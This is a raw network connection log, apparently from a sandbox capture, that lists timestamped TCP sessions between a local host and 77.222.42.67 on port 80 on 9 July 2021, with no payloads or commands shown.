Jul 9, 2021 03:07:50.288294077 CEST	80	49188	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:50.288415909 CEST	49188	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.289778948 CEST	80	49189	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:50.289901018 CEST	49189	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.291132927 CEST	49189	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.347387075 CEST	80	49189	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:50.360042095 CEST	80	49189	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:50.360151052 CEST	49189	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.592912912 CEST	49189	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.593967915 CEST	49190	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.647634029 CEST	80	49190	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:50.647664070 CEST	80	49189	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:50.647737026 CEST	49190	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.647772074 CEST	49189	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.648787022 CEST	49190	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.702552080 CEST	80	49190	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:50.716092110 CEST	80	49190	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:50.716208935 CEST	49190	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.952935934 CEST	49190	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.954333067 CEST	49191	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.005575895 CEST	80	49190	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.005784035 CEST	49190	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.008708000 CEST	80	49191	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.008873940 CEST	49191	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.010204077 CEST	49191	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.064755917 CEST	80	49191	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.077481031 CEST	80	49191	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.077575922 CEST	49191	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.308480024 CEST	49191	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.311167002 CEST	49192	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.366113901 CEST	80	49191	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.366216898 CEST	49191	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.366761923 CEST	80	49192	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.366878033 CEST	49192	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.368006945 CEST	49192	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.421581984 CEST	80	49192	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.438330889 CEST	80	49192	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.438493013 CEST	49192	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.669944048 CEST	49192	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.671355009 CEST	49193	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.724015951 CEST	80	49192	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.724055052 CEST	80	49193	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.724103928 CEST	49192	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.724157095 CEST	49193	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.726308107 CEST	49193	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:51.779366970 CEST	80	49193	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.791344881 CEST	80	49193	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:51.791533947 CEST	49193	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.029531002 CEST	49193	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.031321049 CEST	49194	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.084145069 CEST	80	49193	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:52.084394932 CEST	49193	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.086975098 CEST	80	49194	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:52.087114096 CEST	49194	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.087877035 CEST	49194	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.142205000 CEST	80	49194	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:52.154040098 CEST	80	49194	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:52.158013105 CEST	49194	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.473443031 CEST	49194	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.474548101 CEST	49195	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.529181004 CEST	80	49194	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:52.529369116 CEST	49194	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.530888081 CEST	80	49195	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:52.530999899 CEST	49195	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.532351971 CEST	49195	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:52.588587999 CEST	80	49195	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:52.603154898 CEST	80	49195	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:52.603247881 CEST	49195	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.142641068 CEST	49195	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.143723965 CEST	49196	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.196006060 CEST	80	49196	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:53.196170092 CEST	49196	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.196866989 CEST	49196	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.197062016 CEST	80	49195	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:53.197115898 CEST	49195	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.248917103 CEST	80	49196	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:53.262090921 CEST	80	49196	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:53.262258053 CEST	49196	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.490792990 CEST	49196	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.491848946 CEST	49197	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.545550108 CEST	80	49196	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:53.545591116 CEST	80	49197	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:53.545651913 CEST	49196	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.545665026 CEST	49197	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.546192884 CEST	49197	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:53.600230932 CEST	80	49197	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:53.616055012 CEST	80	49197	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:53.616256952 CEST	49197	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:54.305567026 CEST	49197	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:54.306571007 CEST	49198	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:54.358390093 CEST	80	49197	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:54.360073090 CEST	49197	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:54.362328053 CEST	80	49198	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:54.362411022 CEST	49198	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:54.363779068 CEST	49198	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:54.421942949 CEST	80	49198	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:54.432085991 CEST	80	49198	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:54.434228897 CEST	49198	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.266794920 CEST	49198	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.268173933 CEST	49199	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.320527077 CEST	80	49199	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:55.320624113 CEST	49199	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.321157932 CEST	49199	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.321259975 CEST	80	49198	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:55.321382046 CEST	49198	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.373477936 CEST	80	49199	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:55.387204885 CEST	80	49199	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:55.387389898 CEST	49199	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.660517931 CEST	49199	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.662333965 CEST	49200	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.712984085 CEST	80	49199	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:55.713077068 CEST	49199	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.716409922 CEST	80	49200	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:55.716526031 CEST	49200	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.717690945 CEST	49200	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:55.771691084 CEST	80	49200	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:55.785466909 CEST	80	49200	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:55.785576105 CEST	49200	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.174830914 CEST	49200	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.175820112 CEST	49201	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.228257895 CEST	80	49200	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:56.228365898 CEST	49200	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.228801966 CEST	80	49201	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:56.228880882 CEST	49201	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.230076075 CEST	49201	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.284508944 CEST	80	49201	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:56.297401905 CEST	80	49201	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:56.298536062 CEST	49201	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.887300014 CEST	49201	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.888309956 CEST	49202	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.940577030 CEST	80	49202	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:56.940659046 CEST	80	49201	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:56.940711021 CEST	49201	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.940711021 CEST	49202	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.941934109 CEST	49202	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:56.994263887 CEST	80	49202	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:57.010560036 CEST	80	49202	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:57.010685921 CEST	49202	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.259382010 CEST	49202	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.261307955 CEST	49203	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.311533928 CEST	80	49202	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:57.311706066 CEST	49202	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.317014933 CEST	80	49203	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:57.317162037 CEST	49203	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.317807913 CEST	49203	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.371938944 CEST	80	49203	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:57.386893034 CEST	80	49203	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:57.387027979 CEST	49203	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.609409094 CEST	49203	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.613809109 CEST	49204	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.662873983 CEST	80	49203	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:57.663038969 CEST	49203	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.667506933 CEST	80	49204	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:57.667650938 CEST	49204	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.668711901 CEST	49204	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.722374916 CEST	80	49204	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:57.736526012 CEST	80	49204	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:57.736613989 CEST	49204	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.981882095 CEST	49204	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:57.983484030 CEST	49205	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.034187078 CEST	80	49204	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.034316063 CEST	49204	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.035581112 CEST	80	49205	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.035702944 CEST	49205	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.036202908 CEST	49205	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.088392973 CEST	80	49205	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.106026888 CEST	80	49205	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.106201887 CEST	49205	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.320935965 CEST	49205	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.322223902 CEST	49206	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.373332024 CEST	80	49205	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.373466015 CEST	49205	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.375535011 CEST	80	49206	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.375633001 CEST	49206	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.377813101 CEST	49206	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.431345940 CEST	80	49206	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.447382927 CEST	80	49206	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.447468996 CEST	49206	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.670641899 CEST	49206	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.672966003 CEST	49207	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.724890947 CEST	80	49206	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.725009918 CEST	49206	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.728903055 CEST	80	49207	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.729084969 CEST	49207	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.729573965 CEST	49207	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:58.783073902 CEST	80	49207	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.796766996 CEST	80	49207	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:58.796878099 CEST	49207	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.073894024 CEST	49207	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.075072050 CEST	49208	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.126319885 CEST	80	49207	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:59.126411915 CEST	49207	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.129678011 CEST	80	49208	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:59.129748106 CEST	49208	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.130501032 CEST	49208	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.183636904 CEST	80	49208	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:59.196698904 CEST	80	49208	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:59.196790934 CEST	49208	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.423463106 CEST	49208	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.424756050 CEST	49209	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.478132963 CEST	80	49208	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:59.478161097 CEST	80	49209	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:59.478276014 CEST	49208	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.478331089 CEST	49209	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.478945971 CEST	49209	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:59.532212019 CEST	80	49209	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:59.546334028 CEST	80	49209	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:59.546555042 CEST	49209	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.323220015 CEST	49209	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.324090004 CEST	49210	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.376032114 CEST	80	49210	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:00.376198053 CEST	49210	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.376388073 CEST	80	49209	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:00.376854897 CEST	49209	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.377326012 CEST	49210	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.429199934 CEST	80	49210	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:00.443205118 CEST	80	49210	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:00.443320036 CEST	49210	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.672178030 CEST	49210	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.673226118 CEST	49211	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.724514961 CEST	80	49210	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:00.724626064 CEST	49210	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.725063086 CEST	80	49211	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:00.725229979 CEST	49211	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.726202011 CEST	49211	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:00.778403997 CEST	80	49211	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:00.791616917 CEST	80	49211	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:00.791759014 CEST	49211	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.013242960 CEST	49211	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.014132023 CEST	49212	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.065340042 CEST	80	49211	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.065423965 CEST	49211	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.067610025 CEST	80	49212	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.067770958 CEST	49212	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.068500996 CEST	49212	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.121933937 CEST	80	49212	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.134706974 CEST	80	49212	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.134846926 CEST	49212	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.353746891 CEST	49212	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.354691029 CEST	49213	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.407071114 CEST	80	49212	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.407160997 CEST	49212	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.408281088 CEST	80	49213	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.408374071 CEST	49213	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.409549952 CEST	49213	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.464881897 CEST	80	49213	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.477013111 CEST	80	49213	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.477104902 CEST	49213	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.695244074 CEST	49213	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.696491003 CEST	49214	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.750066996 CEST	80	49214	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.750190020 CEST	49214	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.751142979 CEST	80	49213	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.751213074 CEST	49213	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.751272917 CEST	49214	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:01.803267002 CEST	80	49214	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.817840099 CEST	80	49214	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:01.817919970 CEST	49214	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.040393114 CEST	49214	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.041986942 CEST	49215	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.094429016 CEST	80	49214	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.094554901 CEST	49214	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.095525980 CEST	80	49215	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.095603943 CEST	49215	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.096319914 CEST	49215	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.150871038 CEST	80	49215	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.164352894 CEST	80	49215	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.164499044 CEST	49215	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.385561943 CEST	49215	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.389656067 CEST	49216	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.439279079 CEST	80	49215	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.439460993 CEST	49215	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.441903114 CEST	80	49216	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.442039013 CEST	49216	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.443327904 CEST	49216	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.495260000 CEST	80	49216	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.509047031 CEST	80	49216	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.509155989 CEST	49216	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.741108894 CEST	49216	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.742455959 CEST	49217	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.793471098 CEST	80	49216	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.793610096 CEST	49216	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.795110941 CEST	80	49217	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.795222998 CEST	49217	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.795839071 CEST	49217	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:02.849834919 CEST	80	49217	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.861690044 CEST	80	49217	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:02.861876011 CEST	49217	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.088064909 CEST	49217	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.088907003 CEST	49218	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.140556097 CEST	80	49217	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.140680075 CEST	49217	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.142400980 CEST	80	49218	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.142508984 CEST	49218	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.144898891 CEST	49218	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.198225975 CEST	80	49218	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.211303949 CEST	80	49218	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.211900949 CEST	49218	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.451281071 CEST	49218	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.453582048 CEST	49219	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.504802942 CEST	80	49218	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.504940033 CEST	49218	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.508090973 CEST	80	49219	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.508167982 CEST	49219	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.508997917 CEST	49219	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.562289953 CEST	80	49219	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.576344967 CEST	80	49219	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.576466084 CEST	49219	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.802141905 CEST	49219	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.803069115 CEST	49220	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.855688095 CEST	80	49220	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.855721951 CEST	80	49219	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.855813026 CEST	49219	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.855910063 CEST	49220	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.856873035 CEST	49220	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:03.908904076 CEST	80	49220	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.922349930 CEST	80	49220	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:03.922446012 CEST	49220	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.143326044 CEST	49220	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.144330978 CEST	49221	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.196274996 CEST	80	49220	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:04.196432114 CEST	80	49221	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:04.196445942 CEST	49220	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.196518898 CEST	49221	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.197191954 CEST	49221	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.249793053 CEST	80	49221	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:04.262307882 CEST	80	49221	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:04.262434959 CEST	49221	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.487360001 CEST	49221	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.488571882 CEST	49222	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.544205904 CEST	80	49221	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:04.544270039 CEST	49221	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:04.545522928 CEST	80	49222	77.222.42.67	192.168.2.22
